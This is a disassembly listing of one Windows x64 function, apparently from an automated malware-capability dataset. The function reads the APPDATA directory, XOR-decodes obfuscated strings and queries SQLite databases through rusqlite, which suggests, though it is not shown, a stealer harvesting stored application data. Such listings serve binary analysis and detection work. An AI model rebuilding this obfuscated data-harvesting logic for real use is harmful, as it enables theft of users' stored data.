Function at 0x14001b56a
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x928
movaps xmmword [rsp + 0x910], xmm6
mov rbx, rcx
xor eax, eax
mov qword [rcx], rax
mov qword [rcx + 8], 8
mov qword [rcx + 0x10], rax
lea rdx, str.APPDATA
lea rsi, [rsp + 0x448]
mov r8d, 7
mov rcx, rsi
call fcn.140230580
mov al, byte [rsi + 0x18]
cmp al, 3
jne 0x14001c09c
mov rax, qword [rsp + 0x450]
test rax, rax
je 0x14001c0c2
mov rcx, qword [rsp + 0x448]
mov rdx, qword [rsp + 0x458]
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x130], rdx
lea rax, [0x14038ee1d]
mov qword [rsp + 0x448], rax
mov rcx, qword [rsp + 0x448]
movabs rax, 0xd0edddc4e4e81fa1
mov qword [rsp + 0x448], rax
mov rdx, qword [rsp + 0x448]
call fcn.14000d065
xorps xmm0, xmm0
movaps xmmword [rsp + 0x1f0], xmm0
mov qword [rsp + 0x200], 0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14039c850]
mov r8, qword [rcx + rdx + 8]
xor r8, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x1f8], r8
add rcx, 8
cmp rcx, 0x10
jb 0x14001b655
mov al, byte [rax + 0x18]
xor al, 0x6d
lea r14, [rsp + 0x1f0]
mov byte [r14 + 0x18], al
lea rax, [rsp + 0x138]
mov qword [rax], r14
mov qword [rax + 8], 0x19
lea rcx, [rsp + 0x120]
lea r8, [rsp + 0x6b0]
mov qword [r8], rcx
lea rcx, [0x140009a60]
mov qword [r8 + 8], rcx
mov qword [r8 + 0x10], rax
lea rax, [0x140071250]
mov qword [r8 + 0x18], rax
lea rax, [0x140498cb8]
lea rdx, [rsp + 0x448]
mov qword [rdx + 0x10], rax
mov eax, 2
mov qword [rdx + 0x18], rax
mov qword [rdx], 0
mov qword [rdx + 0x20], r8
mov qword [rdx + 0x28], rax
lea rdi, [rsp + 0x1d8]
mov rcx, rdi
call fcn.1400476f0
mov rsi, qword [rdi + 8]
mov rdi, qword [rdi + 0x10]
mov rcx, rsi
mov rdx, rdi
call fcn.140235030
test al, al
je 0x14001bf19
mov qword [rsp + 0x118], rbx
lea rbx, [rsp + 0x448]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.140248500
mov edi, dword [rbx + 0x10]
mov rbx, qword [rbx]
cmp edi, 2
je 0x14001c0dc
lea rsi, [rsp + 0x45c]
mov r15, qword [rsi - 0xc]
lea r13, [rsp + 0x6b0]
mov r8d, 0x254
mov rcx, r13
mov rdx, rsi
call fcn.14038a820
mov qword [rsi - 0x14], rbx
mov qword [rsi - 0xc], r15
mov dword [rsi - 4], edi
lea rcx, [rsp + 0x45c]
mov r8d, 0x254
mov rdx, r13
call fcn.14038a820
lea r15, [rsp + 0x6c0]
lea r12, [rsp + 0xc0]
xorps xmm6, xmm6
lea rbp, [0x14039c8b8]
mov rcx, r13
lea rdx, [rsp + 0x448]
call fcn.1402330a0
cmp qword [rsp + 0x6b0], 0
je 0x14001bf0c
mov rax, qword [rsp + 0x6b8]
mov rsi, qword [rsp + 0x908]
test rsi, rsi
je 0x14001bf79
mov qword [rsp + 0x1f0], rax
mov r8d, 0x248
lea rcx, [rsp + 0x1f8]
mov rdx, r15
call fcn.14038a820
mov qword [rsp + 0x440], rsi
lea rcx, [rsp + 0x138]
mov rdx, r14
call fcn.1402332e0
mov rsi, qword [rsp + 0x140]
mov rdi, qword [rsp + 0x148]
lea rax, [0x14038e37a]
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0xc0]
movabs rax, 0x7e4171c5fa99a08d
mov qword [rsp + 0xc0], rax
mov rdx, qword [rsp + 0xc0]
call fcn.14000b9cd
mov rcx, qword [rax]
movabs rdx, 0x6099fd0233b46a3b
xor rcx, rdx
mov qword [rsp + 0xc0], rcx
mov ecx, dword [rax + 8]
mov edx, 0xb80bc15e
xor ecx, edx
mov dword [rsp + 0xc8], ecx
movzx eax, word [rax + 0xc]
xor eax, 0x488e
mov word [rsp + 0xcc], ax
mov qword [rsp + 0x20], 0xe
lea rcx, [rsp + 0x1b8]
mov rdx, rsi
mov r8, rdi
mov r9, r12
call fcn.1402383a0
cmp qword [rsp + 0x138], 0
je 0x14001b8cf
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x440]
lock dec qword [rax]
jne 0x14001b8ea
mov rcx, qword [rsp + 0x440]
call fcn.14026f6bc
mov rbx, qword [rsp + 0x1c0]
mov r12, qword [rsp + 0x1c8]
mov rcx, r14
mov rdx, rbx
mov r8, r12
call fcn.1402352a0
cmp dword [rsp + 0x1f0], 2
jne 0x14001b930
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x138], 2
jmp 0x14001b94e
mov ecx, 9
lea rdi, [rsp + 0x138]
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x138], 2
jne 0x14001b989
lea rcx, [rsp + 0x140]
call fcn.1401b10eb
cmp qword [rsp + 0x1b8], 0
lea r12, [rsp + 0xc0]
je 0x14001b7a5
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001b7a5
mov rdi, qword [rsp + 0x1b8]
mov rcx, r14
mov rdx, rbx
mov r8, r12
call fcn.1401e1c47
mov r13b, byte [rsp + 0x1f0]
cmp r13b, 0x13
jne 0x14001bb07
mov rsi, qword [rsp + 0x1f8]
mov r8, qword [rsp + 0x200]
lea rcx, [rsp + 0xc0]
mov rdx, rsi
mov qword [rsp + 0x110], r8
call fcn.1401e16b2
mov r13b, byte [rsp + 0xc0]
cmp r13b, 0x13
jne 0x14001bb4d
lea rcx, [rsp + 0xc1]
mov rax, qword [rcx + 0x17]
mov qword [rsp + 0x108], rdi
lea rdi, [rsp + 0x1f8]
mov qword [rdi + 0x50], rax
movups xmm0, xmmword [rcx + 7]
movups xmmword [rdi + 0x40], xmm0
movups xmm0, xmmword [0x14039b9a8]
movaps xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x14039b998]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0xa0], xmm6
movups xmmword [rdi + 0x20], xmm6
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi], xmm1
lea rcx, [rsp + 0x250]
mov rdx, rbx
mov r8, r12
call fcn.140248d80
xor r13d, r13d
mov qword [rsp + 0x230], r13
mov qword [rsp + 0x1f0], r13
mov qword [rsp + 0x228], 0x10
mov eax, dword [rdi - 7]
mov ecx, dword [rdi - 4]
mov dword [rsp + 0x33], ecx
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x48], rax
mov r12, qword [rsp + 0x200]
mov rax, qword [rdi + 0x30]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rdi + 0x10]
movups xmm1, xmmword [rdi + 0x20]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
mov rax, qword [rdi + 0x68]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rdi + 0x38]
movups xmm1, xmmword [rdi + 0x48]
movups xmm2, xmmword [rdi + 0x58]
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov r15b, byte [rsp + 0x268]
mov eax, dword [rdi + 0x71]
mov ecx, dword [rdi + 0x74]
mov rdi, qword [rsp + 0x108]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x43], ecx
jmp 0x14001bb95
lea rdx, [rsp + 0x1f8]
mov eax, dword [rdx - 7]
mov ecx, dword [rdx - 4]
mov dword [rsp + 0x33], ecx
mov dword [rsp + 0x30], eax
mov rsi, qword [rsp + 0x1f8]
mov r12, qword [rsp + 0x200]
movups xmm0, xmmword [rdx + 0x10]
movups xmm1, xmmword [rdx + 0x20]
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x60], xmm1
mov rax, qword [rdx + 0x30]
mov qword [rsp + 0x70], rax
mov r15b, 3
jmp 0x14001bbba
lea rdx, [rsp + 0xc1]
mov eax, dword [rdx]
mov ecx, dword [rdx + 3]
mov dword [rsp + 0x33], ecx
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x48], rax
mov r12, qword [rsp + 0xd0]
movups xmm0, xmmword [rdx + 0x17]
movups xmm1, xmmword [rdx + 0x27]
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x60], xmm1
mov rax, qword [rdx + 0x37]
mov qword [rsp + 0x70], rax
mov r15b, 3
mov byte [rsi], 0
cmp qword [rsp + 0x110], 0
je 0x14001bbb5
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x48]
test rdi, rdi
je 0x14001bbd1
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp r15b, 3
je 0x14001bfa3
mov byte [rsp + 0x138], r13b
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x33]
lea rdx, [rsp + 0x139]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
mov qword [rsp + 0x140], rsi
mov qword [rsp + 0x148], r12
mov rax, qword [rsp + 0x70]
mov qword [rdx + 0x37], rax
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movups xmmword [rdx + 0x27], xmm1
movups xmmword [rdx + 0x17], xmm0
mov rax, qword [rsp + 0xb0]
mov qword [rdx + 0x6f], rax
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
movaps xmm2, xmmword [rsp + 0xa0]
movups xmmword [rdx + 0x5f], xmm2
movups xmmword [rdx + 0x4f], xmm1
movups xmmword [rdx + 0x3f], xmm0
mov byte [rsp + 0x1b0], r15b
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rdx + 0x7b], ecx
mov dword [rdx + 0x78], eax
lea rax, [0x140394db4]
mov qword [rsp + 0x1f0], rax
mov rcx, qword [rsp + 0x1f0]
movabs rax, 0x5a3b5a342cad9062
mov qword [rsp + 0x1f0], rax
mov rdx, qword [rsp + 0x1f0]
call fcn.14000d105
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0xb0], xmm6
mov rcx, 0xfffffffffffffff8
mov rdx, qword [rcx + rbp + 8]
xor rdx, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x88], rdx
add rcx, 8
cmp rcx, 0x38
jb 0x14001bcc6
cmp qword [rsp + 0x178], 0
mov r15, qword [rsp + 0x118]
lea rbx, [rsp + 0xc0]
jne 0x14001bfef
mov qword [rsp + 0x178], 0xffffffffffffffff
mov rdx, qword [rsp + 0x180]
mov qword [rsp + 0x20], 0x40
mov rcx, r14
lea r8, [rsp + 0x138]
lea r9, [rsp + 0x80]
call fcn.1401e1b77
inc qword [rsp + 0x178]
cmp qword [rsp + 0x230], 0
je 0x14001c018
mov ecx, 9
mov rdi, rbx
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0xf0]
call fcn.1402d94e0
test eax, eax
jne 0x14001c05c
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], 0
mov rcx, r14
lea rdx, [rsp + 0x30]
call fcn.14020ef1f
cmp byte [rsp + 0x258], 2
jne 0x14001bdbe
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x14001bda8
mov rcx, qword [rax + 0x30]
call fcn.1402d9cec
mov rsi, qword [r15 + 0x10]
mov ebx, 8
xor r13d, r13d
xor r12d, r12d
xor edi, edi
jmp 0x14001be95
call fcn.1401e2456
mov rbx, rax
mov ecx, 0xe
mov rdi, rax
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x80], 4
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x50], xmm0
mov r12d, 1
mov r13d, 0x70
mov rcx, r14
lea rdx, [rsp + 0x50]
call fcn.14020ef1f
cmp byte [rsp + 0x258], 2
je 0x14001be6b
cmp r12, qword [rsp + 0x80]
je 0x14001be4b
lea rdi, [rbx + r13]
mov ecx, 0xe
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
inc r12
mov qword [rsp + 0x90], r12
add r13, 0x70
jmp 0x14001be0a
mov r8d, 1
lea rcx, [rsp + 0x80]
mov rdx, r12
call fcn.1403960b7
mov rbx, qword [rsp + 0x88]
jmp 0x14001be2b
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x14001be7e
mov rcx, qword [rax + 0x30]
call fcn.1402d9cec
mov rdi, qword [rsp + 0x80]
mov rax, qword [r15]
mov rsi, qword [r15 + 0x10]
sub rax, rsi
cmp rax, r12
jb 0x14001bef8
imul rcx, rsi, 0x70
add rcx, qword [r15 + 8]
mov rdx, rbx
mov r8, r13
call fcn.14038a820
add r12, rsi
mov qword [r15 + 0x10], r12
test rdi, rdi
je 0x14001bec6
mov rcx, qword [0x1404fd180]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r12, [rsp + 0xc0]
mov rcx, r12
call fcn.1400050ad
lea rcx, [rsp + 0x138]
call fcn.1400047f1
lea r13, [rsp + 0x6b0]
lea r15, [rsp + 0x6c0]
jmp 0x14001b7a5
mov rcx, r15
mov rdx, rsi
mov r8, r12
call fcn.1403960b7
mov rsi, qword [r15 + 0x10]
jmp 0x14001be95
lea rcx, [rsp + 0x448]
call fcn.140270967
cmp qword [rsp + 0x1d8], 0
je 0x14001bf3b
mov r8, qword [rsp + 0x1e0]
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x120], 0
je 0x14001bf5d
mov r8, qword [rsp + 0x128]
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x910]
add rsp, 0x928
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [rsp + 0x138]
mov qword [r8], rax
lea rax, [0x14039c888]
mov qword [rsp + 0x20], rax
lea rcx, [0x1404ccfe2]
lea r9, fcn.1401b10eb
jmp 0x14001c090
lea r8, [rsp + 0x1f0]
mov byte [r8], r13b
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x33]
mov dword [r8 + 1], eax
mov dword [r8 + 4], ecx
mov qword [r8 + 8], rsi
mov qword [r8 + 0x10], r12
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movups xmmword [r8 + 0x18], xmm0
movups xmmword [r8 + 0x28], xmm1
mov rax, qword [rsp + 0x70]
mov qword [r8 + 0x38], rax
lea rax, [0x14039c8a0]
jmp 0x14001c07d
lea rax, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rusqlite_0.28.0_srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.already_borrowed
lea r9, [0x14039b2d8]
lea r8, [rsp + 0x1f0]
mov edx, 0x10
jmp 0x14001c095
movups xmm0, xmmword [rsp + 0x1f0]
movups xmm1, xmmword [rsp + 0x200]
movups xmm2, xmmword [rsp + 0x210]
movups xmm3, xmmword [rsp + 0x220]
lea r8, [rsp + 0xc0]
movaps xmmword [r8 + 0x30], xmm3
movaps xmmword [r8 + 0x20], xmm2
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, [0x14039c8f8]
jmp 0x14001c07d
cdqe
lea r8, [rsp + 0x1f0]
mov byte [r8], 0x11
mov qword [r8 + 8], 0
mov qword [r8 + 0x10], rax
lea rax, [0x14039c910]
mov qword [rsp + 0x20], rax
lea rcx, [0x1404ccfe2]
lea r9, fcn.140004e48
mov edx, 0x2b
call fcn.14038ebe0
ud2
cmp al, 2
je 0x14001c0c2
cmp qword [rsp + 0x448], 0
je 0x14001c0c2
mov r8, qword [rsp + 0x450]
mov rcx, qword [0x1404fd180]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [0x1404ccfb7]
lea r8, [0x14039c838]
mov edx, 0x2b
call fcn.14038e950
ud2
lea r8, [rsp + 0x448]
mov qword [r8], rbx
lea rax, [0x14039c870]
jmp 0x14001bf8b